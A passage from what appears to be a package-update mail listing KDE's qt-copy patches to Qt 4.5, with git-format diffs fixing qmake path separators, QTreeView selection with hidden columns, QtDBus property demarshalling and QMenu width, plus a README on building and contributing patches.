 INSTALLS += mkspecs
 
 false:macx { #mac install location
diff --git a/src/tools/moc/main.cpp b/src/tools/moc/main.cpp
index d519b09..7979836 100644
--- a/src/tools/moc/main.cpp
+++ b/src/tools/moc/main.cpp
@@ -94,7 +94,13 @@ static QByteArray combinePath(const char *infile, const char *outfile)
         inSplitted.prepend(QLatin1String(".."));
     }
     inSplitted.append(inFileInfo.fileName());
+#ifdef Q_WS_WIN
+    const QString rel = inSplitted.join(QLatin1String("/"));
+    const QString abs = inFileInfo.absoluteFilePath();
+    return QFile::encodeName(rel.length() < abs.length() ? rel : abs);
+#else
     return QFile::encodeName(inSplitted.join(QLatin1String("/")));
+#endif
 }
 
 
-- 
1.6.2.5


0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch:
 property.cpp |   30 ++++++++++++++++--------------
 1 file changed, 16 insertions(+), 14 deletions(-)

--- NEW FILE 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch ---
>From 0afcf33127c6ccbe5dfaae4f4c5e02f28dc10ae1 Mon Sep 17 00:00:00 2001
From: Christian Ehrlicher <ch.ehrlicher at gmx.de>
Date: Thu, 8 May 2008 21:25:49 +0200
Subject: [PATCH 07/18] When using qmake outside qt src tree, it sometimes generates wrong
 paths (wrong path separator)

qt-bugs@ issue : none
Trolltech task ID : 214661
---
 qmake/property.cpp |   29 ++++++++++++++++-------------
 1 files changed, 16 insertions(+), 13 deletions(-)

diff --git a/qmake/property.cpp b/qmake/property.cpp
index 8ba89f9..dd78349 100644
--- a/qmake/property.cpp
+++ b/qmake/property.cpp
@@ -81,29 +81,32 @@ QMakeProperty::keyBase(bool version) const
 QString
 QMakeProperty::value(QString v, bool just_check)
 {
+    QString ret;
     if(v == "QT_INSTALL_PREFIX")
-        return QLibraryInfo::location(QLibraryInfo::PrefixPath);
+        ret = QLibraryInfo::location(QLibraryInfo::PrefixPath);
     else if(v == "QT_INSTALL_DATA")
-        return QLibraryInfo::location(QLibraryInfo::DataPath);
+        ret = QLibraryInfo::location(QLibraryInfo::DataPath);
     else if(v == "QT_INSTALL_DOCS")
-        return QLibraryInfo::location(QLibraryInfo::DocumentationPath);
+        ret = QLibraryInfo::location(QLibraryInfo::DocumentationPath);
     else if(v == "QT_INSTALL_HEADERS")
-        return QLibraryInfo::location(QLibraryInfo::HeadersPath);
+        ret = QLibraryInfo::location(QLibraryInfo::HeadersPath);
     else if(v == "QT_INSTALL_LIBS")
-        return QLibraryInfo::location(QLibraryInfo::LibrariesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::LibrariesPath);
     else if(v == "QT_INSTALL_BINS")
-        return QLibraryInfo::location(QLibraryInfo::BinariesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::BinariesPath);
     else if(v == "QT_INSTALL_PLUGINS")
-        return QLibraryInfo::location(QLibraryInfo::PluginsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::PluginsPath);
     else if(v == "QT_INSTALL_TRANSLATIONS")
-        return QLibraryInfo::location(QLibraryInfo::TranslationsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::TranslationsPath);
     else if(v == "QT_INSTALL_CONFIGURATION")
-        return QLibraryInfo::location(QLibraryInfo::SettingsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::SettingsPath);
     else if(v == "QT_INSTALL_EXAMPLES")
-        return QLibraryInfo::location(QLibraryInfo::ExamplesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::ExamplesPath);
     else if(v == "QT_INSTALL_DEMOS")
-        return QLibraryInfo::location(QLibraryInfo::DemosPath);
-    else if(v == "QMAKE_MKSPECS")
+        ret = QLibraryInfo::location(QLibraryInfo::DemosPath);
+    if(!ret.isEmpty())
+        return QDir::toNativeSeparators(ret);
+    if(v == "QMAKE_MKSPECS")
         return qmake_mkspec_paths().join(Option::target_mode == Option::TARG_WIN_MODE ? ";" : ":");
     else if(v == "QMAKE_VERSION")
         return qmake_version();
@@ -116,7 +119,7 @@ QMakeProperty::value(QString v, bool just_check)
     int slash = v.lastIndexOf('/');
     QVariant var = settings->value(keyBase(slash == -1) + v);
     bool ok = var.isValid();
-    QString ret = var.toString();
+    ret = var.toString();
     if(!ok) {
         QString version = qmake_version();
         if(slash != -1) {
-- 
1.6.2.5


0008-In-a-treeview-with-columns-like-this.patch:
 qtreeview.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0008-In-a-treeview-with-columns-like-this.patch ---
>From 1ec9dd029abaa0f00798535fdb1722154b1c63f6 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Rafael=20Fern=C3=A1ndez=20L=C3=B3pez?= <ereslibre at kde.org>
Date: Sun, 26 Oct 2008 10:40:51 +0100
Subject: [PATCH 08/18] In a treeview with columns like this:

Column 1 | Column 2 | ... | Column k | ... | Column n

When selecting with rubberband (by clicking on the blank part of the viewport) while Column k is
hidden, you get double items on the selection model, when asking for selection(). This is becase
ranges are incorrectly calculated when there are hidden columns. A way to reproduce:

Column 1 | Column 2 | Column 4 (Column 3 is hidden)
 item
 item
 item
  x <- press button here and move it up to select items (on this same column)

If you do like this:

Column 1 | Column 2 | Column 4 (Column 3 is hidden)
 item
 item
 item
                         x <- press button here and move it up

you won't be able to reproduce, since you need the hidden column to be between the one you click and
the last one. The reason is that columnRanges returns two ranges when there is supposed to return 1
range (even when there are hidden columns).

qt-bugs@ issue : N232819
Trolltech task ID : 232831
bugs.kde.org number : 171436
---
 src/gui/itemviews/qtreeview.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/itemviews/qtreeview.cpp b/src/gui/itemviews/qtreeview.cpp
index ed6ad03..dc147f2 100644
--- a/src/gui/itemviews/qtreeview.cpp
+++ b/src/gui/itemviews/qtreeview.cpp
@@ -3575,7 +3575,7 @@ QList<QPair<int, int> > QTreeViewPrivate::columnRanges(const QModelIndex &topInd
     current.first = -2; // -1 is not enough because -1+1 = 0
     current.second = -2;
     foreach (int logicalColumn, logicalIndexes) {
-        if (current.second + 1 != logicalColumn) {
+        if (current.second + 1 != logicalColumn && !header->isSectionHidden(current.second + 1)) {
             if (current.first != -2) {
                 //let's save the current one
                 ret += current;
-- 
1.6.2.5


0009-This-patch-fixes-deserialization-of-values-with-cust.patch:
 qdbusinternalfilters.cpp |   17 +++++++++++++++--
 1 file changed, 15 insertions(+), 2 deletions(-)

--- NEW FILE 0009-This-patch-fixes-deserialization-of-values-with-cust.patch ---
>From b274bbaf4768dcfdfcf95ceda08b6402ffedb80d Mon Sep 17 00:00:00 2001
From: George Goldberg <grundleborg at googlemail.com>
Date: Tue, 28 Apr 2009 17:08:07 +0200
Subject: [PATCH 09/18] This patch fixes deserialization of values with custom types when setting
 properties on dbus adaptors. It is needed, in particular by telepathy/Qt
 programs and libraries. The bug was reported to Nokia on 2009-01-07 along
 with the patch supplied here. The summary of the issue from the Qt
 Software task tracker follows:

When calling the setter for a DBus property, if that property has a custom type
(e.g. a struct with dbus type (uss)), QtDBus fails to demarshall the
QDBusArgument before attempting to set the property on the adaptor. The result
is that it attempts to call adaptor->setProperty() with a QDBusArgument of type
"uss" instead of with the type of the custom struct.

qt-bugs@ issue : N240326
Qt Software task ID : 240608
bugs.kde.org number : none
---
 src/dbus/qdbusinternalfilters.cpp |   16 +++++++++++++++-
 1 files changed, 15 insertions(+), 1 deletions(-)

diff --git a/src/dbus/qdbusinternalfilters.cpp b/src/dbus/qdbusinternalfilters.cpp
index c71f2f4..d261d01 100644
--- a/src/dbus/qdbusinternalfilters.cpp
+++ b/src/dbus/qdbusinternalfilters.cpp
@@ -274,9 +274,23 @@ QDBusMessage qDBusPropertySet(const QDBusConnectionPrivate::ObjectTreeNode &node
             QDBusAdaptorConnector::AdaptorMap::ConstIterator it;
             it = qLowerBound(connector->adaptors.constBegin(), connector->adaptors.constEnd(),
                              interface_name);
-            if (it != connector->adaptors.end() && interface_name == QLatin1String(it->interface))
+            if (it != connector->adaptors.end() && interface_name == QLatin1String(it->interface)) {
+                if (value.userType() == qMetaTypeId<QDBusArgument>()) {
+                    QDBusArgument valueArg = qvariant_cast<QDBusArgument>(value);
+                    if (valueArg.currentType() != -1) {
+                        int mid = it->adaptor->metaObject()->property(it->adaptor->metaObject()->indexOfProperty(property_name)).userType();
+                        void *null = 0;
+                        QVariant valueStore(mid, null);
+                        QDBusMetaType::demarshall(valueArg, mid, valueStore.data());
+
+                        if (it->adaptor->setProperty(property_name, valueStore))
+                            return msg.createReply();
+                    }
+                }
+
                 if (it->adaptor->setProperty(property_name, value))
                     return msg.createReply();
+            }
         }
     }
 
-- 
1.6.2.5


0010-Import-README.qt-copy-from-the-original-qt-copy.patch:
 README.kde-qt |  189 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 188 insertions(+), 1 deletion(-)

--- NEW FILE 0010-Import-README.qt-copy-from-the-original-qt-copy.patch ---
>From 9a3fe8fc4912bf82b791c4131f553c18140ca838 Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago at doriath.(none)>
Date: Sun, 21 Jun 2009 13:17:13 -0300
Subject: [PATCH 10/18] Import README.qt-copy from the original qt-copy

---
 README.kde-qt |  188 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 files changed, 188 insertions(+), 0 deletions(-)
 create mode 100644 README.kde-qt

diff --git a/README.kde-qt b/README.kde-qt
new file mode 100644
index 0000000..f605a0b
--- /dev/null
+++ b/README.kde-qt
@@ -0,0 +1,188 @@
+This is a copy of Qt version 4.5.1.  It may include
+modifications which are necessary for KDE; these are listed in the
+patches directory.
+
+1. Qt-copy patches
+==================
+
+You may also consider running the apply_patches script before configuring qt-copy,
+which will apply all not yet applied patches from the patches/ directory that
+are considered safe (they mostly include optimizations and features that don't
+add new API). Note that most of those patches haven't been accepted
+by Qt Software yet. and therefore they'll make your qt-copy differ from official
+Qt version.
+
+2. Configuring Qt
+=================
+
+The recommended compile line is:
+
+--default-config-begin--
+./configure -qt-gif -debug -fast -no-exceptions -no-separate-debug-info \
+   -system-libpng -system-libjpeg -system-zlib \
+   -dbus -webkit -no-phonon -plugin-sql-mysql \
+   -nomake examples -nomake demos -prefix <installdir>
+--default-config-end--
+
+It contains "-debug", which greatly improves the use for backtraces (but
+also needs a lot more disk space and makes things slower). To build in
+release mode, replace it with "-release".
+
+It also contains "-no-separate-debug-info", which disables separate .debug
+files. Instead, the debug information will be built into the libraries.
+This option is needed when you install Qt.
+If you don't install Qt, it can be useful to disable this option,
+thus having separate debug symbol files. With separate debug files, you can
+just move those debug files to another directory to remove Qt debug symbols.
+Moving the files back will enable Qt debug symbols again.
+This is useful if you rarely need to step into Qt functions during debugging,
+because GDB loads much faster and uses less memory without Qt debug symbols.
+In the rare case you need to step into Qt code, you can temporarily enable
+debug symbols again by moving the debug files back. You can even load the Qt
+debug symbols from within GDB on demand, using the "symbol-file" command.
+
+It also contains the "-no-exceptions" argument, which disables C++
+exception support. Disabling exception support may improve memory
+consumption if GCC is being used. However, that also disables the
+QtXmlPatterns module since that requires exception support. If you
+plan on using that module, remove the option.
+
+If you are planning to compile Qt using an Icecream cluster you have to
+pass the option -no-pch (no precompiled headers) to configure to make
+distributed compilation work.
+
+3. Compiling Qt
+===============
+
+To compile Qt on a Unix platform, run:
+
+   export MAKEFLAGS=-j2
+   make
+   make install
+
+If your computer has more than one core or processor, you may consider
+increasing the "2" above. If you've got a compile farm available, you
+should adjust the -j argument to match the number of slots in that
+farm.
+
+4. Modifying & rebuilding Qt
+============================
+
+If you make modifications to the Qt source code, you don't need to
+build everything again. Simply go to the directory containing the
+Makefile closest to the files you changed and run "make" again.
+
+For example, if you modified src/corelib/io/qiodevice.cpp, do:
+
+   cd src/corelib
+   make
+
+Do not commit your modifications to qt-copy as such. If you have a fix
+that benefit others, see the "Creating Qt-copy patches" section below.
+
+5. Building Qt examples and demos
+=================================
+
+The "-nomake examples -nomake demos" arguments to the configure script
+mean that those two sections will not be configured for
+building. Which is unneeded for usage of the library.  If you want to
+compile the examples or demos later; just enter either directory and
+type:
+
+   qmake
+   make
+
+6. Building Qt documentation (only applies to Snapshot versions of Qt)
+============================
+
+To build and install the documentation, run:
+
+   make docs
+   ./config.status
+   make install
+
+It is necessary to do this once only, even if you rebuild Qt later.
+
+7. Using Qt uninstalled
+=======================
+
+To use without having to install it, configure it as follows:
+
+   ./configure <other configure options>  -prefix $PWD
+   make sub-src
+   make sub-tools
+
+Attention: DO NOT run
+
+   make install
+
+If you do, Qt will overwrite your include/ directory with its
+installation.
+
+8. Creating Qt-copy patches
+===========================
+
+If you have fixed a bug in Qt or modified it in any way that may
+benefit others, please share your change in the form of a patch. Do
+not commit your changes directly to the qt-copy module because they
+may be lost in a future update if they have not been added to the
+official Qt release.
+
+The exception to the above rule is that if the fix has been accepted
+by Qt Software (and so will appear in the next release of Qt), then
+it can be applied directly to qt-copy.  In this case, the patch
+should still be placed in patches/ as usual, but it should have a
+header line
+    Applied: yes
+
+Before creating a patch, it is recommended to contact Qt Software
+support via qt-bugs at trolltech.com and explain the situation. There may
+be a solution for the problem already or a new direction that should
+be accounted for.
+
+To create a patch, do the following:
+  a) make sure your Qt sources are clean of other changes. Run:
+     svn revert -R .
+  b) make your changes to the Qt source code and verify that it
+  compiles, links and works.
+  c) open the patches/README file and get the next patch number
+  (you must read and understand the README file; if you don't, ask for
+  help from other KDE developers)
+  d) create the patch with:
+     svn diff > patches/NNNN-short-description-of-your-patch.diff
+  where NNNN is the next available number.
+  e) open the file you've just created and add the header to it. The
+  header should be the template in patches/README followed by a longer
+  description of your patch.
+
+Don't forget to submit your patch to qt-bugs at trolltech.com along with
+the long description of the issue found, if you haven't already.
+Qt Software does not monitor the patches/ directory, so qt-copy
+patches do not get automatically applied to Qt official releases.
+
+When you receive the issue number and task tracker numbers, update the
+patch file.
+
+9. Known issues with current Qt code
+====================================
+
+In case you have strange issues with non-resizing windows and similar, use
+   export QT_USE_NATIVE_WINDOWS=1
+before starting KDE.
+
+10. Troubleshooting: Re-configuring and re-compiling
+===================================================
+
+For those updating the source in a directory where Qt has already
+been compiled, you may need to run the following commands from the
+top directory of your Qt sources:
+
+	find . -name '*.moc' | xargs rm
+
+Sometimes ./configure will refuse to run.  You may need to:
+	rm .qmake.cache
+
+If you think you may have run "make install" on an install-less Qt
+(srcdir == $QTDIR), run:
+
+	svn revert -R include
-- 
1.6.2.5


0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch:
 README.kde-qt |  164 +++++++++++++++++++++++++++++++---------------------------
 1 file changed, 88 insertions(+), 76 deletions(-)

--- NEW FILE 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch ---
>From 39b24a10e4dee27357b9760b735c2ab98b132963 Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago at doriath.(none)>
Date: Sun, 21 Jun 2009 13:46:54 -0300
Subject: [PATCH 11/18] Update this file to reflect the workflow with Git, as well as use Git commands

---
 README.kde-qt |  163 +++++++++++++++++++++++++++++++--------------------------
 1 files changed, 88 insertions(+), 75 deletions(-)

diff --git a/README.kde-qt b/README.kde-qt
index f605a0b..db3feb6 100644
--- a/README.kde-qt
+++ b/README.kde-qt
@@ -1,27 +1,20 @@
-This is a copy of Qt version 4.5.1.  It may include
-modifications which are necessary for KDE; these are listed in the
-patches directory.
+This is a patched version of Qt.  It may include changes made by KDE
+and Qt developers that have either not been accepted for inclusion
+into Qt, or have been accepted for a later version of Qt than this
+one.
 
-1. Qt-copy patches
-==================
-
-You may also consider running the apply_patches script before configuring qt-copy,
-which will apply all not yet applied patches from the patches/ directory that
-are considered safe (they mostly include optimizations and features that don't
-add new API). Note that most of those patches haven't been accepted
-by Qt Software yet. and therefore they'll make your qt-copy differ from official
-Qt version.
-
-2. Configuring Qt
+1. Configuring Qt
 =================
 
 The recommended compile line is:
 
 --default-config-begin--
-./configure -qt-gif -debug -fast -no-exceptions -no-separate-debug-info \
-   -system-libpng -system-libjpeg -system-zlib \
-   -dbus -webkit -no-phonon -plugin-sql-mysql \
-   -nomake examples -nomake demos -prefix <installdir>
+
+  ./configure -qt-gif -debug -fast -no-separate-debug-info \
+     -system-libpng -system-libjpeg -system-zlib \
+     -dbus -webkit -plugin-sql-mysql \
+     -nomake examples -nomake demos -prefix <installdir>
+
 --default-config-end--
 
 It contains "-debug", which greatly improves the use for backtraces (but
@@ -31,6 +24,7 @@ release mode, replace it with "-release".
 It also contains "-no-separate-debug-info", which disables separate .debug
 files. Instead, the debug information will be built into the libraries.
 This option is needed when you install Qt.
+
 If you don't install Qt, it can be useful to disable this option,
 thus having separate debug symbol files. With separate debug files, you can
 just move those debug files to another directory to remove Qt debug symbols.
@@ -41,17 +35,11 @@ In the rare case you need to step into Qt code, you can temporarily enable
 debug symbols again by moving the debug files back. You can even load the Qt
 debug symbols from within GDB on demand, using the "symbol-file" command.
 
-It also contains the "-no-exceptions" argument, which disables C++
-exception support. Disabling exception support may improve memory
-consumption if GCC is being used. However, that also disables the
-QtXmlPatterns module since that requires exception support. If you
-plan on using that module, remove the option.
-
 If you are planning to compile Qt using an Icecream cluster you have to
 pass the option -no-pch (no precompiled headers) to configure to make
 distributed compilation work.
 
-3. Compiling Qt
+2. Compiling Qt
 ===============
 
 To compile Qt on a Unix platform, run:
@@ -65,34 +53,49 @@ increasing the "2" above. If you've got a compile farm available, you
 should adjust the -j argument to match the number of slots in that
 farm.
 
-4. Modifying & rebuilding Qt
+3. Modifying & rebuilding Qt
 ============================
 
 If you make modifications to the Qt source code, you don't need to
 build everything again. Simply go to the directory containing the
 Makefile closest to the files you changed and run "make" again.
 
-For example, if you modified src/corelib/io/qiodevice.cpp, do:
+For example, if you've modified src/corelib/io/qiodevice.cpp, do:
 
    cd src/corelib
    make
 
-Do not commit your modifications to qt-copy as such. If you have a fix
-that benefit others, see the "Creating Qt-copy patches" section below.
+If you make a change that is not temporary, you should create a Git
+commit out of it. However, you shouldn't push those changes to
+kde-qt.git. If you have a fix that benefit others, see the "Creating
+kde-qt.git modifications" section below.
 
-5. Building Qt examples and demos
+4. Building Qt examples and demos
 =================================
 
 The "-nomake examples -nomake demos" arguments to the configure script
-mean that those two sections will not be configured for
-building. Which is unneeded for usage of the library.  If you want to
-compile the examples or demos later; just enter either directory and
-type:
+mean that those two sections will not be configured for building,
+which is unneeded for usage of the library.  If you want to compile
+the examples or demos later, just enter either directory and type:
 
    qmake
    make
 
-6. Building Qt documentation (only applies to Snapshot versions of Qt)
+5. Build Qt tests
+=================
+
+(Official information: http://qt.gitorious.org/qt/pages/QtAutotestsEnvironment)
+
+In order to run Qt tests, you must have a "developer build" of Qt. For
+that, you need to reconfigure Qt and add the "-developer-build"
+option. That option is technically equivalent to the options:
+
+   -debug -prefix $PWD -DQT_BUILD_INTERNAL
+
+To run a test, go to its source dir in tests/auto/testname. Type
+"make" to build it, then run it (either ./tst_testname, or "make install").
+
+6. Building Qt documentation
 ============================
 
 To build and install the documentation, run:
@@ -119,21 +122,25 @@ Attention: DO NOT run
 If you do, Qt will overwrite your include/ directory with its
 installation.
 
-8. Creating Qt-copy patches
-===========================
+8. Creating kde-qt.git modifications
+====================================
 
 If you have fixed a bug in Qt or modified it in any way that may
 benefit others, please share your change in the form of a patch. Do
-not commit your changes directly to the qt-copy module because they
+not commit your changes directly to the main branch because they
 may be lost in a future update if they have not been added to the
 official Qt release.
 
 The exception to the above rule is that if the fix has been accepted
-by Qt Software (and so will appear in the next release of Qt), then
-it can be applied directly to qt-copy.  In this case, the patch
-should still be placed in patches/ as usual, but it should have a
-header line
-    Applied: yes
+by Qt Software (and so will appear in the very next release of Qt),
+then it should be simply cherry-picked from the Qt development
+branch. Note that you shouldn't do this for changes that have been
+accepted into a release which is not the very next.
+In this case, you should use the following command:
+
+   git cherry-pick -x SHA1_OF_THE_FIX
+where SHA1_OF_THE_FIX is the SHA-1 of the commit that you want to
+introduce. Then push the change to the server.
 
 Before creating a patch, it is recommended to contact Qt Software
 support via qt-bugs at trolltech.com and explain the situation. There may
@@ -141,37 +148,42 @@ be a solution for the problem already or a new direction that should
 be accounted for.
 
 To create a patch, do the following:
-  a) make sure your Qt sources are clean of other changes. Run:
-     svn revert -R .
-  b) make your changes to the Qt source code and verify that it
-  compiles, links and works.
-  c) open the patches/README file and get the next patch number
-  (you must read and understand the README file; if you don't, ask for
-  help from other KDE developers)
-  d) create the patch with:
-     svn diff > patches/NNNN-short-description-of-your-patch.diff
-  where NNNN is the next available number.
-  e) open the file you've just created and add the header to it. The
-  header should be the template in patches/README followed by a longer
-  description of your patch.
-
-Don't forget to submit your patch to qt-bugs at trolltech.com along with
-the long description of the issue found, if you haven't already.
-Qt Software does not monitor the patches/ directory, so qt-copy
-patches do not get automatically applied to Qt official releases.
-
-When you receive the issue number and task tracker numbers, update the
-patch file.
-
-9. Known issues with current Qt code
-====================================
-
-In case you have strange issues with non-resizing windows and similar, use
-   export QT_USE_NATIVE_WINDOWS=1
-before starting KDE.
-
-10. Troubleshooting: Re-configuring and re-compiling
-===================================================
+  a) look at the listing of branches in
+  http://qt.gitorious.org/+kde-developers/qt/kde-qt/commits/HEAD and
+  select the next number.
+
+  b) create a new branch out of a clean, released version of Qt, (for
+  example, 4.5.1), using the number above and a brief description of
+  your fix. For example:
+      git checkout -b patches/0180-window-role v4.5.1
+  You can see the available released versions of Qt with:
+      git tag
+
+  c) make your changes to the Qt source code and verify that it
+  compiles, links and works (please run the respective unit tests).
+
+  c) commit your changes to Git, using the "git commit" command. Please
+  see http://qt.gitorious.org/qt/pages/GitIntroductionWithQt and
+  http://qt.gitorious.org/qt/pages/QtCodingStyle for information on
+  how to create commits
+  Note that you can create multiple commits.
+
+  e) merge the change to the main branch, for example, 4.5.1-patched:
+      git checkout 4.5.1-patched
+      git merge patches/0180-window-role
+
+  f) push the changes you made to your branch and to the main server:
+      git push git at gitorious.org:qt/kde-qt.git 4.5.1-patched patches/0180-window-role
+  (Don't forget to list both branch names)
+
+Don't forget to submit your patch to using the Qt Contribution Model,
+along with the long description of the issue found. See
+http://qt.gitorious.org/qt/pages/QtContributionGuidelines for
+information how. You can submit the branch you've just sent to the
+server.
+
+9. Troubleshooting: Re-configuring and re-compiling
+==================================================
 
 For those updating the source in a directory where Qt has already
 been compiled, you may need to run the following commands from the
@@ -185,4 +197,5 @@ Sometimes ./configure will refuse to run.  You may need to:
 If you think you may have run "make install" on an install-less Qt
 (srcdir == $QTDIR), run:
 
-	svn revert -R include
+	rm -rf include
+	bin/syncqt
-- 
1.6.2.5


0015-Make-QMenu-respect-the-minimum-width-set.patch:
 qmenu.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0015-Make-QMenu-respect-the-minimum-width-set.patch ---
>From 01f26d0756839fbe783c637ca7dec5b7987f7e14 Mon Sep 17 00:00:00 2001
From: Aaron Seigo <aseigo at kde.org>
Date: Mon, 27 Jul 2009 21:46:22 -0600
Subject: [PATCH 15/18] Make QMenu respect the minimum width set

If one sets a minimum width on a QMenu and that size is larger than the
smallest size needed by the large menu item, it ignores the minimum
width and just uses the largest menu item size.

This results in ugly painting artifacts. This currently affects
(at least) the tasks widget in Plasma in KDE4.
---
 src/gui/widgets/qmenu.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/widgets/qmenu.cpp b/src/gui/widgets/qmenu.cpp
index 9fbbb04..5d62ea6 100644
--- a/src/gui/widgets/qmenu.cpp
+++ b/src/gui/widgets/qmenu.cpp
@@ -280,7 +280,7 @@ void QMenuPrivate::calcActionRects(QMap<QAction*, QRect> &actionRects, QList<QAc
 
 
         if (!sz.isEmpty()) {
-            max_column_width = qMax(max_column_width, sz.width());
+            max_column_width = qMax(q->minimumWidth(), qMax(max_column_width, sz.width()));
             //wrapping
             if (!scroll &&
                y+sz.height()+vmargin > dh - (q->style()->pixelMetric(QStyle::PM_MenuDesktopFrameWidth, 0, q) * 2)) {
-- 
1.6.2.5


0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch:
 corelib/global/qnamespace.h   |   97 +++++++++++++-
 gui/kernel/qkeymapper_x11.cpp |  286 ++++++++++++++++++++++++++++++++++--------
 gui/kernel/qkeysequence.cpp   |  175 +++++++++++++++++++------
 3 files changed, 461 insertions(+), 97 deletions(-)

--- NEW FILE 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch ---
>From 1a94cd7b132497f70a2b97ec2b58f6e2b1c5076a Mon Sep 17 00:00:00 2001
From: Helio Chissini de Castro <helio at kde.org>
Date: Fri, 10 Jul 2009 16:00:13 -0300
Subject: [PATCH 16/18] Fill gap of X.org/XFree multimedia/special/launcher keys
 Qt up to 4.5.x is missing whole setup of multimedia keys already defined by X

---
 src/corelib/global/qnamespace.h   |   97 ++++++++++++-
 src/gui/kernel/qkeymapper_x11.cpp |  286 ++++++++++++++++++++++++++++++-------
 src/gui/kernel/qkeysequence.cpp   |  174 +++++++++++++++++------
 3 files changed, 461 insertions(+), 96 deletions(-)

diff --git a/src/corelib/global/qnamespace.h b/src/corelib/global/qnamespace.h
index 3edbca7..ddf27a8 100644
--- a/src/corelib/global/qnamespace.h
+++ b/src/corelib/global/qnamespace.h
@@ -895,12 +895,10 @@ public:
         Key_Dead_Horn           = 0x01001262,
 
         // multimedia/internet keys - ignored by default - see QKeyEvent c'tor
-
         Key_Back  = 0x01000061,
         Key_Forward  = 0x01000062,
         Key_Stop  = 0x01000063,
         Key_Refresh  = 0x01000064,
-
         Key_VolumeDown = 0x01000070,
         Key_VolumeMute  = 0x01000071,
         Key_VolumeUp = 0x01000072,
@@ -909,7 +907,6 @@ public:
         Key_BassDown = 0x01000075,
         Key_TrebleUp = 0x01000076,
         Key_TrebleDown = 0x01000077,
-
         Key_MediaPlay  = 0x01000080,
         Key_MediaStop  = 0x01000081,
         Key_MediaPrevious  = 0x01000082,
@@ -918,13 +915,11 @@ public:
 #endif
         Key_MediaNext  = 0x01000083,
         Key_MediaRecord = 0x01000084,
-
         Key_HomePage  = 0x01000090,
         Key_Favorites  = 0x01000091,
         Key_Search  = 0x01000092,
         Key_Standby = 0x01000093,
         Key_OpenUrl = 0x01000094,
-
         Key_LaunchMail  = 0x010000a0,
         Key_LaunchMedia = 0x010000a1,
         Key_Launch0  = 0x010000a2,
@@ -943,6 +938,98 @@ public:
         Key_LaunchD  = 0x010000af,
         Key_LaunchE  = 0x010000b0,
         Key_LaunchF  = 0x010000b1,
+        Key_MonBrightnessUp = 0x010000b2,
+        Key_MonBrightnessDown = 0x010000b3,
+        Key_KeyboardLightOnOff = 0x010000b4,
+        Key_KeyboardBrightnessUp = 0x010000b5,
+        Key_KeyboardBrightnessDown = 0x010000b6,
+        Key_PowerOff = 0x010000b7,
+        Key_WakeUp = 0x010000b8,
+        Key_Eject = 0x010000b9,
+        Key_ScreenSaver = 0x010000ba,
+        Key_WWW = 0x010000bb,
+        Key_Memo = 0x010000bc,
+        Key_LightBulb = 0x010000bd,
+        Key_Shop = 0x010000be,
+        Key_History = 0x010000bf,
+        Key_AddFavorite = 0x010000c0,
+        Key_HotLinks = 0x010000c1,
+        Key_BrightnessAdjust = 0x010000c2,
+        Key_Finance = 0x010000c3,
+        Key_Community = 0x010000c4,
+        Key_AudioRewind = 0x010000c5,
+        Key_BackForward = 0x010000c6,
+        Key_ApplicationLeft = 0x010000c7,
+        Key_ApplicationRight = 0x010000c8,
+        Key_Book = 0x010000c9,
+        Key_CD = 0x010000ca,
+        Key_Calculator = 0x010000cb,
+        Key_ToDoList = 0x010000cc,
+        Key_ClearGrab = 0x010000cd,
+        Key_Close = 0x010000ce,
+        Key_Copy = 0x010000cf,
+        Key_Cut = 0x010000d0,
+        Key_Display = 0x010000d1,
+        Key_DOS = 0x010000d2,
+        Key_Documents = 0x010000d3,
+        Key_Excel = 0x010000d4,
+        Key_Explorer = 0x010000d5,
+        Key_Game = 0x010000d6,
+        Key_Go = 0x010000d7,
+        Key_iTouch = 0x010000d8,
+        Key_LogOff = 0x010000d9,
+        Key_Market = 0x010000da,
+        Key_Meeting = 0x010000db,
+        Key_MenuKB = 0x010000dc,
+        Key_MenuPB = 0x010000dd,
+        Key_MySites = 0x010000de,
+        Key_News = 0x010000df,
+        Key_OfficeHome = 0x010000e0,
+        Key_Option = 0x010000e1,
+        Key_Paste = 0x010000e2,
+        Key_Phone = 0x010000e3,
+        Key_Calendar = 0x010000e4,
+        Key_Reply = 0x010000e5,
+        Key_Reload = 0x010000e6,
+        Key_RotateWindows = 0x010000e7,
+        Key_RotationPB = 0x010000e8,
+        Key_RotationKB = 0x010000e9,
+        Key_Save = 0x010000ea,
+        Key_Send = 0x010000eb,
+        Key_Spell = 0x010000ec,
+        Key_SplitScreen = 0x010000ed,
+        Key_Support = 0x010000ee,
+        Key_TaskPane = 0x010000ef,
+        Key_Terminal = 0x010000f0,
+        Key_Tools = 0x010000f1,
+        Key_Travel = 0x010000f2,
+        Key_Video = 0x010000f3,
+        Key_Word = 0x010000f4,
+        Key_Xfer = 0x010000f5,
+        Key_ZoomIn = 0x010000f6,
+        Key_ZoomOut = 0x010000f7,
+        Key_Away = 0x010000f8,
+        Key_Messenger = 0x010000f9,
+        Key_WebCam = 0x010000fa,
+        Key_MailForward = 0x010000fb,
+        Key_Pictures = 0x010000fc,
+        Key_Music = 0x010000fd,
+        Key_Battery = 0x010000fe,
+        Key_Bluetooth = 0x010000ff,
+        Key_WLAN = 0x01000100,
+        Key_UWB = 0x01000101,
+        Key_AudioForward = 0x01000102,
+        Key_AudioRepeat = 0x01000103,
+        Key_AudioRandomPlay = 0x01000104,
+        Key_Subtitle = 0x01000105,
